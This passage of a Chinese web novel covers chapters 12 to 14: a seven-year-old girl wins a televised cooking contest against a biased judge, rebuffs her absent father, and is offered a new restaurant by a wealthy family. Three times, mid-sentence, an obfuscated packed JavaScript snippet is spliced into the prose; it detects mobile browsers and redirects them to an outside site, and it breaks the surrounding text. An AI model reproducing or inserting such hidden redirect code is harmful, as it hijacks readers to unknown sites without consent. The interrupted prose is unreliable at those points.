“嗯。”他说,“我在。谁也动不了你。” 夜深了。 宋如淼躺在床上,闭上眼睛,脑子里一遍遍过明天的流程:进场、抽签、备料、烹饪、摆盘、呈递…… 就在她即将入睡时,神识深处忽然传来一声从未有过的、极其悦耳的提示音: 【渊境回响:明日宜‘夺魁’。】 宋如淼迷迷糊糊地翻了个身,嘴角挂着笑意睡着了。 有前世的神识,有师父的庇佑,有妈妈的爱,还有晚酌哥哥护航。 明天,就让那个所谓的“傅太太”,好好尝尝什么叫搬起石头砸自己的脚。云城的天,也该有彩虹了吧。 12.烹饪大赛(上)—锋芒初露 第二天清晨七点,云城电视台演播大厅外已是人声鼎沸。 作为本市收视率最高的少儿才艺赛事,现场不仅有几百位大众评审,大厅两侧的巨型屏幕上更是实时滚动着网络直播的画面。 宋如淼穿着谢夫人特意准备的白色小厨师服,腰间深蓝围裙系得端正,头发扎成两个小丸子,衬得那张小脸格外精神。 车刚停稳,她就看见了早早等在入口处的谢晚酌。 “淼淼!” 谢晚酌今天穿了一身深灰色小西装,虽然才八九岁,但身姿挺拔,身后跟着管家和便装安保。但在看见宋如淼跳下车的瞬间,他原本绷着的小脸立刻松缓下来。 “晚酌哥哥,你来这么早!”宋如淼眼睛亮晶晶地跑过去。 “来给你加油。”谢晚酌说着,目光扫过她胸前贴着的选手编号牌——【少儿组 037】,极其自然地伸手帮她理了理微微翘起的衣领。 宋听雅从另一侧下车,手里提着保温箱和刀具包。她今天穿了件素雅的米色连衣裙,化了淡妆,看起来精神许多,只是紧抿的嘴唇泄露了内心的不安。 “淼淼练了这么久,一定没问题的。”她轻声说,像在安慰自己。 “当然没问题。”宋如淼挺起小胸脯,语气笃定,“我的番茄炒蛋可是加了秘方的。” 谢晚酌看着她自信的模样,眼底掠过一丝笑意:“走吧,先进去。” 三人走进演播大厅,立刻被眼前的阵势震了一下。 为了直播效果,赛场布置得格外华丽。二十个独立操作台呈弧形排开,无数摇臂摄像机在头顶盘旋。正前方的评委席居高临下,五张座椅已经摆好。 宋听雅的目光死死盯住最右边那张——【特邀嘉宾评委:唐安意】。 就在这时,入口处传来一阵骚动。 傅庭深和唐安意在一群人的簇拥下走进来。唐安意一身香槟色职业套装,妆容精致,挽着傅庭深的手臂,像是把镜头当成为她服务一样。 【直播弹幕刷过:】哇!那是傅总和唐总监吧?好般配啊! 听说唐总监是这次的主评委呢。 两人的目光在扫过宋家母女时,顿了顿。 傅庭深的眼神复杂——有惊讶,有审视。而唐安意则直接得多,视线先落在宋如淼身上,嘴角勾起一个极淡的、带着嘲弄的弧度,然后看向宋听雅,眼神里满是轻蔑:你也配出现在这里? 广播声适时响起——“037号选手,请到第三组备赛区准备。” “妈妈,我们走。”没等两人再有反应,宋如淼就拉着宋听雅的手,转身往另一个方向走去。 谢晚酌站在原地,目光冷淡地扫过傅庭深和唐安意,随即站位很巧的刚好把那两道视线挡在身后,护着宋如淼走远。 …… 上午十点半,初赛第三组准时开始。 裁判宣布“开始”的瞬间,直播镜头迅速切过各个操作台。大部分小朋友都在手忙脚乱地打鸡蛋,只有037号操作台前,宋如淼稳得像个老手。 她从保温箱里拿出了樱桃番茄、土鸡蛋,还有一小瓶琥珀色的油,以及一个小纸包。 “滋啦——” 特制虾油入锅,鲜香瞬间爆开,连隔壁操作台的小胖子都吸了吸鼻子,差点忘了翻炒。 樱桃番茄对半切开,挖去酸味最重的籽,下锅快速翻炒。紧接着,宋如淼打开了那个小纸包,撒了一小撮淡黄色的粉末。 【直播弹幕:】这是啥?秘制加成? 【直播弹幕:】奇怪添加剂吧…… 评委席上,林振华眯了下眼睛,在备菜申报单上搜寻一番,对着麦克风解释道:“那是炒熟后研磨的糙米粉。能中和番茄的酸,增加厚度。” 【直播弹幕:】糙米粉?这么细? 【直播弹幕:】第一次听说,涨见识了…… 菜品端上评委席。唐安意拿起筷子,夹了最小的一块鸡蛋,放进嘴里慢慢咀嚼,然后放下筷子,拿起水杯极其夸张地漱了漱口。 “鸡蛋炒得老了。”她开口,声音冷淡,“樱桃番茄甜度过高,失去了番茄该有的酸爽。至于糙米粉……画蛇添足,破坏了清爽感。” 话音落下,她亮出分数—— 【7.5分】 全场哗然。其他评委的打分都在九分左右。 【直播弹幕:】 7.5?太低了吧?隔壁那个把蛋炒糊的都有8分! 唐评委是不是太严苛了? 宋如淼站在台下,看着唐安意嘴角那抹若有若无的笑,手指在围裙下悄悄握成了拳。 初赛结束后,选手休息区。 “没事的淼淼,这个分数一定能进复赛的。” “我知道,妈妈。”宋如淼从妈妈怀里探出头,脸上甚至还带着笑。 宋如淼刚坐下,谢晚酌就递过来一瓶已经拧开盖的蜂蜜水。 “谢谢晚酌哥哥。”宋如淼接过喝了一口,目光瞟向不远处的贵宾区——透过玻璃墙,能看到唐安意正和另外几位评委谈笑风生。 “她故意压分。”谢晚酌顺着她的视线看过去。 “我知道。”宋如淼放下水瓶,语气出奇的平静,“但她压不住的。” 谢晚酌低头看她。小姑娘仰着脸,琥珀色的眼睛里没有委屈。 “不生气?”他问。 “生气有什么用?”宋如淼歪了歪头,像个小大人似的叹了口气,“比赛又不是比谁更会生气。” 谢晚酌沉默片刻,忽然伸手,在她发顶轻轻按了一下:“你说得对。” 动作很轻,带着安抚的意味。 这时,大屏幕亮起,第三组成绩列表滚动。 【第一名:037号宋如淼 8.92分】 尽管被恶意压分,她依然凭借过硬的实力拿到了小组第一。 “进了!”宋听雅又抱了抱女儿。 宋如淼一回头,正撞上谢晚酌。少年看似面无表情,但那只插在口袋里紧握的手终于松开了。 “意料之中。” 宋如淼忍笑戳了戳他的胳膊:“我超级厉害呢。” …… 下午两点,复赛开始。题目:文思豆腐。 全场安静,只有刀刃触碰案板的细密声响。直播镜头特意给了宋如淼一个特写。 那双小手稳得惊人,刀起刀落,嫩豆腐在水中化作千丝万缕,如云如雾,丝丝不断。 【直播弹幕瞬间刷屏:】 ???这刀工是七岁?娘胎里带的?忘记喝孟婆汤了...... 二十分钟到。 宋如淼的那碗文思豆腐羹端上评委席。林振华尝了一口,满意地点头,给出了9.0的高分。 其他评委则依次打出高分。轮到唐安意。她只尝了一小口,就放下了勺子。 “刀工确实不错。”唐安意对着镜头,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122450|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气看似公允,“但味道太淡了,清汤寡水,全靠最后那点火腿末提鲜,未免敷衍。” 她亮出分数——【7.8分】。 宋如淼静静看着唐安意,忽然举起了手:“裁判,我有话说。” 她走到评委席前,不卑不亢地仰起头:“唐评委,您说汤味太淡,请问您尝出汤底用的什么吗?” 唐安意皱眉:“不就是普通清鸡汤?” “不是。”宋如淼摇头,声音通过麦克风传遍全场,“我在清汤里只加了一小片苹果皮——不是为了甜,是为了把火腿末那股直冲的咸鲜“拉开层次”,让回甘落得更干净。若您仔细品尝,应该能尝到后调那一丝回甘。” 她转身,盛了一小碗汤,双手递给唐安意:“请您,再尝一次。” 所有镜头瞬间对准了唐安意。 【直播弹幕:】哇!正面刚!这小孩好勇! 评委被质疑了,快喝快喝! 骑虎难下。唐安意脸色铁青,在观众和网友的注视下,不得不端起那碗汤。 汤入口。先是醇厚,紧接着,那股极淡却极灵动的果香在舌尖绽开,确实化解了荤汤的腻,回味甘甜。 唐安意僵住了。 这确实不是普通的清汤,这是动了脑子的“神仙汤”。如果她坚持说淡,那就是她这个专业评委舌头有问题。 “……可能刚才品得不够细。”那几个字几乎是从牙缝里挤出来的。 她抬笔,重新写下分数。 【9.0分】 宋如淼微微一笑,梨涡浅浅:“谢谢唐、评、委的复核。” 那声“谢谢”软软的,却像在桌面上轻轻敲了一下——敲得人心里发亮。 …… 傍晚,复赛结束。宋如淼以总分第一,强势闯入决赛。 走出电视台大门时,夕阳正好。 宋听雅抱着女儿喜极而泣,宋如淼一边给妈妈擦眼泪,一边看向身后的谢晚酌。 夕阳将少年的影子拉得很长。 “晚酌哥哥。”宋如淼走过去,仰头看他,“我很棒吧,我超厉害的。” 谢晚酌低头,看着她那双亮晶晶的眼睛。 “嗯,是的,淼淼超厉害的。” “那你说说我都怎么厉害了?” “你能找回分数,你能临危不乱,你能有问题自己解决。”谢晚酌的声音不大,却很笃定,“你从来不会让自己吃亏,还不是超厉害?” 宋如淼愣住了。一股暖流涌上心头。 “对了,”谢晚酌从口袋里取出一张纸条,“决赛主题刚出——【家的味道】。” “家的味道……”宋如淼接过,眼里渐渐亮起光。 她忽然朝谢晚酌凑近一小步,神秘兮兮地说:“晚酌哥哥,决赛那天,我会做一道特别好吃的菜,专门给你。” 谢晚酌垂下眼睫,像把这句话郑重收好:“我会去尝。” 宋如淼伸出右手小拇指,“拉钩给你品尝第一口!” 谢晚酌看着眼前那根细细的、指腹带着淡淡握刀薄茧的小指,心口微微一动。 他缓缓抬手,伸出自己的小指,轻轻勾住了她的。 “拉钩。” 一大一小两根手指在夕阳下紧紧勾在一起。 “约定好了哦!”宋如淼笑得见牙不见眼。 谢晚酌没有挣开,半晌,才轻声应道: “嗯,我等你。” 13.烹饪大赛(下)—冠绝全场:家不是千篇一律的味道 决赛前夜,云城落了一场春雨。 雨丝细细密密,绕着路灯打旋儿,落在窗沿上,立刻化成一圈浅浅的水光。宋听雅站在窗前,望着外头雾蒙蒙的夜色,手心微微出汗。 “妈妈,还不睡?”宋如淼从被窝里探出头,声音带着睡意,尾音软软的。 “这就睡。”宋听雅回到床边,给女儿掖好被角,指尖却还凉着,“淼淼紧张吗?” 宋如淼眨眨眼:“有一点。但更多的是高兴。” “高兴?” “嗯。”小姑娘往妈妈怀里蹭了蹭,小鼻尖嗅到熟悉的洗衣皂香,整个人都放松下来,“明天做的那套菜,是我想了很久的‘家’的样子。不管评委喜不喜欢,它都是我最想做的味道。” 宋听雅心口软得发胀,低头亲了亲她的额头:“睡吧,妈妈陪着你。” 窗外雨声更轻了,像有人在夜里替她们把路悄悄擦干净。 决赛日清晨七点,雨停了,天空被洗得透亮。 这一次,比赛场地仍在云城电视台演播大厅。门口却比前两天热闹得多——除了媒体、家长、观众,今天还多了不少闻讯赶来的美食博主和本地食客。 不知是谁把宋如淼前两场比赛的视频剪成了合集,“小厨神正面刚评委”的话题一夜之间冲上同城热搜,连演播大厅外的电子屏都在滚动播放她切豆腐的那段特写。 “快看!是037号!” 有人喊了一声,镜头立刻齐刷刷转向入口。 宋如淼今天穿了件崭新的白色厨师服——谢夫人昨晚派人送来的,剪裁合体,袖口绣着细细的云纹。 围裙却是宋听雅亲手做的米色亚麻布,系带处缝了两颗小红扣子,像给她心口钉了两粒小小的“定心丸”。 头顶两个丸子盘发系着红丝带,整个人精神得像棵小松树。 宋听雅牵着她,另一只手提着保温箱。母女俩刚迈进大厅,就被记者围住。 “宋如淼小朋友,对今天决赛有信心吗?” “听说谢氏集团董事长会亲自颁奖,你有什么想对他说的吗?” “前两场唐安意评委都给了低分,今天如果她还针对你,你会怎么办?” 问题一个接一个砸下来。宋听雅下意识想把女儿护到身后,可宋如淼却轻轻捏了捏妈妈的手,仰起小脸,声音清清楚楚: “无论最后结果如何,我都会努力做出我心里的‘家的味道’。” 她礼貌地点点头,拉着妈妈穿过人群,走向选手准备区。 角落里,谢晚酌静静看着这一幕。 他今天穿了深蓝色小西装,外面是同色系长大衣,衬得肤色更冷白。谢夫人站在他身旁,轻轻拍了拍他的肩:“紧张?” 谢晚酌摇头,目光追着那道小小的白色身影:“她不会输。” “这么肯定?” “嗯。”他答得很稳,“她是认真的。” 那语气不像小孩子逞强,更像在陈述一个事实。 八点整,决赛正式开始。 赛场被重新布置,十个操作台呈扇形排列,正对评委席与观众席。顶灯亮得像日光,摇臂摄像机在头顶缓慢盘旋,镜头一寸寸扫过选手们紧绷的小脸。 大屏幕上,决赛主题缓缓浮现—— 【家的味道】 主持人朗声宣布:“请选手在三小时内完成一套包含前菜、主菜、主食、汤品与甜点的完整套餐。评分标准:创意、技艺、味道、与主题契合度。现在——比赛开始!” 计时器一亮,全场安静。 宋如淼打开保温箱,将食材一样样取出,摆放得整整齐齐:五年陈金华火腿、冬笋尖、土鸡、高筋面粉、红彤彤的苹果、饱满的红枣…… 她每一样都要看一眼、闻一下,指尖轻轻捻过表皮与切面,像在和食材说话。 评委席上,林振华推了推眼镜,视线不自觉落在037号台前。 “这孩子的手……”他低声道,“不像孩子。” 旁边有人笑着接话:“前两场不就这样?文思豆腐那场,唐评委不是还‘指点’过?” 声音不大不小,恰好让最右边的唐安意听清。 唐安意仍维持着得体的微笑,握着评分笔的手指却收紧了一下。 第一步:熬汤。 宋如淼把土鸡斩块,冷水下锅。水一滚,她就拿漏勺把浮沫撇得干干净净,像把杂念也一并清掉。火腿片、冬笋块、生姜两片下锅,大火滚开,转小火慢炖。 与此同时,她揉面、醒面、擀面、折叠、切条,动作快却不乱。面条抖散,干粉一撒,整齐码在案板上——这是她的主食,“暖胃面”。 整个流程行云流水,没有一个动作是“为了好看”,却偏偏每个动作都好看。 镜头切到直播画面,弹幕开始疯狂滚动—— 【直播弹幕:】 “这小孩的手怎么这么稳?我打个鸡蛋都能打飞……” “037真的不是借号上场?七岁?我不信。” “她那锅汤香到我隔着屏幕咽口水!!!” 赛程过半,演播大厅的气氛越来越紧。 观众席前排,谢先生微微倾身,对谢夫人低语:“这孩子……确实不一般。” 谢夫人点头,目光温柔地看向自家儿子:“晚酌的眼光很好。” 谢晚酌坐得笔直,视线一刻不离赛场那道白色身影。她踮脚去够调料架时,小肩膀微微用力;她擦汗时在围裙上留下浅浅的水印;她尝汤时眯起眼睛,像在听汤的回声——每一个细微动作,落在他眼里都像一幅会动的画。 距离比赛结束还有四十分钟。 宋如淼的汤已炖足两小时。她揭开锅盖的一瞬,一股醇厚中带着清甜的香气弥漫开来——火腿的咸鲜、鸡肉的醇厚、冬笋的清甜,在苹果的调和下层层叠叠,汤色金黄清亮,没有一丝浑浊。 她过滤,只取清汤,煮沸下面。面条入汤翻滚几下,立刻挺直起来,像被唤醒。 前菜、主菜、主食、汤品、甜点陆续就位,她开始最后摆盘。 白底青花的瓷盘上,“锦绣三丝”堆成小巧山形,色彩鲜亮如初春;“苹果红烧肉”深红油亮,苹果块半透明地裹在酱汁里;“暖胃面”盛在深口碗中,面条根根分明,汤清而亮,上面卧着一个金黄的溏心荷包蛋;汤盅白净,青菜碧绿,枸杞点点红;枣泥山药糕洁白如玉,隐约透出暗红馅心,摆在竹编小碟里,雅致得像一盏小灯。 五道菜摆满操作台。 宋如淼退后一步,认真检查每一道菜的角度、颜色、温度。确认无误后,她举手: “037号完成。” 全场响起一阵轻微的惊叹。 工作人员上前,将菜品依次端到呈递台,再由专人分装,送到评委席。大屏幕切换特写镜头,每一道菜都被放大展示,连汤面上的油花都清清楚楚。 观众席安静得像屏息。 林振华率先动筷。汤品清鲜,甜点软糯,主菜入口回甘……五道菜尝完,他脸上的笑意越来越深。 “有意思。”他低声赞叹,“用水果解腻,做得干净。” 其他三位评委也频频点头,交头低语。 轮到唐安意。 她从第一道菜开始,眉头就微微蹙起。尝完前菜,她放下筷子,拿起水杯轻轻漱口。动作极细微,却被高清镜头抓得一清二楚。 观众席里立刻响起一阵压低的骚动。 【直播弹幕:】 “又漱口?又来?” “这评委有病吧?家里的味道当然是自己爱吃就行,非要按教科书来?” “笑死,我看她是尝不出苹果的好,舌头坏掉了吧?” “037小厨神别理她!我想吃!那个红烧肉看着都要流口水了!” 宋听雅的心提到嗓子眼,攥着衣角,指节发白。 唐安意夹起最小的一块肉,咀嚼得很慢,像在挑刺。然后,她放下筷子,拿起麦克风,声音依旧平稳,甚至带着“公允”的腔调: “创意不错。但苹果的甜味抢了肉的本味,红烧肉该有的酱香被削弱了。而且,用水果入荤菜——不太正统。” 现场安静了一瞬。 林振华皱眉,正要开口,唐安意已经继续说下去,语气更冷: “长寿面的汤底味道太杂,火腿、鸡肉、苹果……什么都有,反而失去了重点。汤品过于清淡,甜品又太甜腻。整体来看——” 她停顿半秒,视线落到台下的宋如淼身上,像把刀尖轻轻点在小孩子心口: “这套套餐想表达的‘家的味道’,太过个人化,缺乏普适性。” 个人化。缺乏普适性。 宋听雅只觉得那两句话像冰锥,扎得她发麻。她看见女儿站在台上,小小的身影在灯光下显得单薄,却又站得直直的,像不肯弯的竹。 宋如淼没有低头。 她抬起头,看向评委席,声音清晰得像敲在瓷面上的一声“叮”: “唐评委,您认为‘家的味道’应该是什么?” 唐安意没想到她会反问,怔了下,随即恢复优雅姿态:“应该是大多数人记忆里的、温暖的味道。而不是这样……标新立异的组合。” “可是,”宋如淼往前走了一小步,声音软糯却坚定,“家本来就不是千篇一律的。” 她的麦克风收音很干净,小小的声音却回荡在演播大厅每个角落: “大赛主题是‘家的味道’,不是‘餐厅的味道’。家是私人的,是独特的。哪怕做法不正统、味道不完美——但因为一起吃饭的人在那里,所以它就是最好的味道。” 全场鸦雀无声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133849|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐安意的脸色白了些,握着笔的手指收紧,指甲几乎掐进掌心。 就在这时,林振华拿起麦克风,他的声音温和却有力: “烹饪的本质是为人服务。‘家的味道’之所以动人,正是因为它的独特性。这套套餐——” 他指了指面前五道菜,认真道: “我从里面尝到了用心,尝到了故事,也尝到了温暖。这恰恰契合了主题。” 另外三位评委纷纷点头。 观众席先是零星掌声,随即掌声越滚越大,像潮水一样推向舞台。 唐安意知道自己不能再强行压分——前两场风波已经把她推到舆论边缘。她勉强弯起嘴角,声音干涩: “是我考虑不周。那么,请各位亮分吧。” 林振华率先亮牌:【9.8分】 其他三位评委:【9.5分】【9.6分】【9.7分】 轮到唐安意。 她沉默几秒,最终亮出分数:【9.0分】 偏低,但已经不敢再“离谱”。 最终平均分:9.52。 目前最高分。 宋如淼朝评委席深深鞠躬:“谢谢各位老师。” 她转身下台时,目光与贵宾席的谢晚酌对上。少年看着她,很轻地点了一下头。 那一眼像在说:你做到了。 所有选手评分完毕,主持人开始公布最终排名。 大屏幕上的名次滚动,第三名、第二名陆续揭晓。每出现一个名字,赛场就响起一阵掌声。 终于,画面定格—— 【第一名:037号宋如淼】 掌声雷动,像暴雨般席卷整个演播大厅。 宋如淼站在台上,看着大屏幕上自己的名字,有一瞬间的恍惚。下一秒,她听见妈妈在台下喊她,带着哭腔,却满是骄傲: “淼淼!淼淼!” 颁奖嘉宾走上台——本次大赛主要赞助商,谢氏集团董事长,谢晚酌的父亲。 他穿着深灰色西装,气质儒雅,从礼仪小姐手里接过奖杯与证书,走到宋如淼面前,蹲下身,与她平视。 “恭喜你。”他声音温和,“你做得很好。” 奖杯是一尊水晶雕刻的小锅勺,聚光灯下折射出璀璨的光。还有那份宋如淼最期待的奖品:《陈老手记残卷》,装在古朴的紫檀木匣里。 宋如淼抱住奖杯和木匣,小声说:“谢谢叔叔。” 谢董事长站起身,转向话筒,语速不疾不徐: “作为赞助商,我也想给今天的冠军一份更实际的奖励。谢氏集团正在筹备一条全新的年轻化餐饮品牌线——‘如酌’,主打汤面与家常热食,面向年轻消费群体。” 他顿了顿,视线落回台上那道小小的白色身影,笑意更温和: “所以,谢氏集团正式邀请宋如淼小朋友,担任‘如酌’的少年厨艺顾问,参与我们后续产品的口味把关与研发体验。” 话音落下,全场先是一静,随即哗然。 “如酌”——谢氏今年重金押注的新项目,尚未官宣就已在业内收获关注。这份邀请不像一句客套,更像是在聚光灯下,直接把一条旁人难以想象的路,铺到了这个七岁女孩脚下。 台下,傅庭深的脸色瞬间变了。 他原本是被唐安意硬拉来的,想看看这个“不听话”的前妻和女儿能折腾出什么名堂,却没想到看到了这样一幕—— 那个被他抛弃的女人,那个他从未认真看过的女儿,如今站在聚光灯下,捧着冠军奖杯,被谢家当众认可。 而他的傅太太唐安意,刚才在评委席上的每一个表情、每一个停顿,都已经被直播放大,传遍全网。 傅庭深不用看手机都知道,评论区会是什么。 他只觉得胸口发闷,一股说不清是懊悔还是嫉妒的情绪翻上来—— 她们怎么会攀上谢家的? 就在这一刻。 宋如淼抱着奖杯,站在灯下,掌心发热。她的神识深处,那口“极寒渊境”像被什么轻轻叩了一下—— 不是“叮”。 而是一声清脆、利落、像玉石相击的回响。 【渊境回响:夺魁。名震云城。】 【功德入渊,积蓄暴涨——4.0%……6.5%……10.0%!】 【新天赋开启:鉴仙。】 【鉴仙:识活|辨鲜|知性——一眼一闻,便知‘活不活’】 【进阶任务:以烟火养渊,以人间暖意引万象回馈。】 宋如淼睫毛轻轻一颤。 下一秒,她抬头——正对上台下谢晚酌的视线。 少年站在灯影交界处。宋如淼嘴角慢慢翘起一点点,抱紧奖杯,心里只冒出一个念头—— 她的面要做得更好、更香、更稳。 14.迟来的深情比草贱,新生的暖汤最抚心 颁奖典礼结束,人群如潮水般涌出电视台演播大厅。 宋如淼一手抱着沉甸甸的水晶奖杯,另一只手紧紧抓着装有《陈老手记残卷》的紫檀木匣。宋听雅看着女儿,脸上是压不住的欢喜和骄傲。 刚走出门,春日的微风拂面,带着雨后泥土的清新。 “淼淼——” 一个陌生的男声从侧方传来,低沉中带着刻意放缓的温和。 宋听雅脚步一顿,脊背几乎是本能地绷紧。她把女儿往身后带了带,掌心按在宋如淼肩上,像把人挡在自己影子里。 廊柱旁,傅庭深站着。 剪裁合体的深灰西装在暮色里泛着冷光。他刻意没有和唐安意站在一起——那位傅太太正被一群记者围住,脸色不太好看地应付着关于“评分争议”的追问。 傅庭深朝这边走来,目光落在宋如淼身上。这不仅是他的女儿,更是刚刚轰动云城的天才小厨神,还是谢家看重的人。 “淼淼,恭喜你。”他放柔了声音,“爸爸看了比赛,你……很厉害。” 空气仿佛凝固。 宋听雅嘴唇发白,指尖冰凉。七年了,这个称呼来得太晚,晚到她几乎听不懂。 她想起的不是舞台和奖杯,而是很久以前——她抱着发高烧的孩子在夜里奔跑,鞋底进水,胸口疼得发麻,却没人接她电话。那个夜晚的雨很冷,冷到浇灭了她对“傅太太”这个身份所有的奢望。 迟来的“父爱”,早就碎成了不值一提的渣。 宋如淼从妈妈身后探出半个身子。小脸上没有惊喜,看他的眼神也很平静,像是在看一盘放置太久、已经发酸变质的食材——只有嫌弃,没有食欲。 傅庭深被这眼神看得有些不自在,往前挪了一小步:“这些年,是爸爸疏忽了。以后爸爸会多关心你们。淼淼想学烹饪是吗?爸爸可以给你请最好的老师,送你去国外——” “傅先生。” 一道不高却干净的声音,把他的话截住。 谢晚酌不知何时已站到宋家母女身前。他个子比傅庭深矮许多,肩膀仍带稚气,却站得很直。深蓝的小西装贴着身形,衬得眉眼冷静,硬生生把那点靠近拦在外头。 两名谢家的随行人员无声立在他身侧后方。 傅庭深眉头微蹙:“谢少爷,这是我们的家事。” “家事?”谢晚酌重复了一遍,语气很平,“你说的是哪一家?” 傅庭深脸色一沉:“你——” “七年没出现过一次。”谢晚酌截断他,声音不高,却字字清楚,“现在她拿了冠军,你站出来叫她‘淼淼’——不觉得晚了吗?” 傅庭深被噎得一滞,随即恼羞怒:“你一个孩子懂什么!” “我不需要懂太多。”谢晚酌看着他,眼神不躲不闪,“我只知道,你欠的不是一句称呼,是七年的责任。不是等淼淼上了镜头、得了奖才想起来补——那不叫父爱。” 谢晚酌侧身做了个手势,随行人员立刻上前,礼貌却强硬地挡住去路:“傅先生,请。” 傅庭深脸色铁青,余光瞥见不远处又有记者围拢过来,只能忍下。他最后看了一眼宋听雅:“听雅,我们谈谈。” 宋听雅终于抬起头。那些曾经积压在心底的委屈和怨怼,在这一刻竟然消失得干干净净,只剩下一片疏离的荒芜。 “傅庭深,我们之间,早就没什么好谈的了。” 她说完便牵紧女儿的手,转向谢晚酌,声音温柔下来:“晚酌,我们回去吧。” 谢晚酌点头,自然地走到她们身侧,站位很稳。 回程的商务车上,隔绝了外面的喧嚣。 谢晚酌手里摆弄着一瓶没开封的矿泉水。直到宋如淼凑过来,抱着奖杯,小声又认真:“晚酌哥哥,你刚才好帅呀!” 谢晚酌看着窗外倒退的街景,过了好几秒,才低声说:“以前……我哥也是这么保护我的。” “哥?”宋如淼眨眨眼。 “嗯,他叫谢晚弛,在法国上学,修双学位。”提起哥哥,谢晚酌眉眼柔和了几分,“他走的时候跟我说,男人长大了,对在乎的人,就要不遗余力地守护。不论是用拳头,还是用道理。” 宋如淼似懂非懂地“哦”了一声,坐回去。她抱紧紫檀木匣——那里面的《陈老手记残卷》,才是今晚最大的收获。 接下来的日子里,“淼淼小吃铺”彻底火了。 比赛视频被疯狂转发,轮番轰炸同城热搜。无数食客慕名而来,只有四张桌子的小店被挤得水泄不通,队伍一路排到了巷子口,甚至堵住了隔壁五金店和理发店的大门。 “听雅啊,”五金店的刘大叔一脸为难,“你看这……我这货车都进不来了。而且这人太多了,消防也不安全啊。” 宋听雅只能不停地道歉,赔笑脸,送点心。 更要命的是后厨。老旧的燃气灶火力不足,下水道经常堵塞。宋听雅每天要站十几个小时,手腕贴满了膏药。 而淼淼放学回来,只能趴在收银台那个只有巴掌大的空位上写作业,周围全是嘈杂的快门声。 “小朋友,看这里,给阿姨笑一个!” 宋听雅看在眼里,疼在心里。就在她不知道该怎么平衡生意和生活时,谢夫人登门了。 谢夫人坐在局促的小店里,姿态舒展亲切,直接递过来一份厚厚的文件。 “听雅,我这次来找你,是想跟你谈合作的。我有话直说。”谢夫人翻开意向租约,“你这家店的位置,热搜带来的客流能撑一阵,但以后会越来越难。排队扰民、消防隐患、你的精力、淼淼的安全……都会被拖着跑。” 她抬眼,看向后厨那道小小的身影,语气缓了些:“而且,淼淼七岁了,该上学就好好上学。她有天赋,但天赋不该被生活拖着熬着。” 这一句话,重重敲在宋听雅心上。 谢夫人继续道:“这是别墅区对面‘云锦里’的一间临街旺铺,上下两层,三百平米,明档厨房。离晚酌的学校只有五分钟路程,离我们家也近。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138198|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三百平米?云锦里?”宋听雅吓了一跳。 “听雅,你先听我说。第一,这不仅仅是报答,更是投资。”谢夫人切换回商人的敏锐,“淼淼是天才,她需要系统的引导。所以我不仅准备了店面,还在云锦里给你们租了一套公寓,方便两个孩子一起上学。” “店里的经营,我会安排专业的执行店长协助你。你做总经理,把控味道就好。至于淼淼,周末我会安排研学厨房,由谢家旗下的总厨团队教她。让学业与天赋并行,这才是对她最好的规划。” 宋听雅看着那份周全到极致的计划书,指腹抚过“云锦里”的字样。她这些年习惯了“自己扛”,习惯了把每一分钱掰开用。可现在有人把她最担心的事全想完了。 “我……真的能做总经理吗?”宋听雅声音发涩,“我没学过这些,我怕守不住……” “守得住。”谢夫人笑了,“你守的是‘味道’。数字我可以给你找最会算的人,后厨我可以给你找最会跑的人,但‘味道’只有你们母女知道。” 她语气更软了些:“听雅,我只是希望你们不用再被旧店的天花板压着,淼淼也不用在功课和灶台之间二选一。” 宋听雅低下头,深吸一口气,把那阵酸意压回去。 “太谢谢了……”她哽咽道。 谢夫人摇头,从手包里抽出一张质地考究的手帕递给她,轻声道:“别谢得太早。搬店、装修、重新开张,不比比赛轻松。那里的客人会更挑剔,你们要做的是把‘味道’守住。” 那天夜里,母女俩坐在小桌前。 台灯暖黄的光晕下,宋听雅认真地算着。她忽然笑了一下,眼泪也掉下来:“淼淼,你终于不用跟着妈妈一起受苦受累了。” 宋如淼懂事地拍着妈妈的背,指着云锦里那张平面图。 她的手指落在二楼朝南的一个小包间上:“妈妈,那这里可以放一张小桌子吗?放学回来,我可以先去厨房看一眼汤,试一口味道,然后就上来写作业。我也要像晚酌哥哥一样,考第一名。” 她说得一本正经。宋听雅破涕为笑:“好。你安心上学。做你这个年纪该做的事。” 窗外,云城的夜空星光灿烂,万家灯火。 厨房里那口旧汤锅还在咕嘟咕嘟,热气从锅盖边缘溢出来,带着淡淡的鸡骨香。 宋如淼摸了摸心口——那里,「极寒渊境」的积蓄进度悄然涨到了12.3%。 这段时间,她悟出了一个新的规律:每当有食客发自内心地因为她的食物感到幸福,进度条就会跳动。 所谓食补,补身更补心。原来,人间烟火,便是最好的修行。 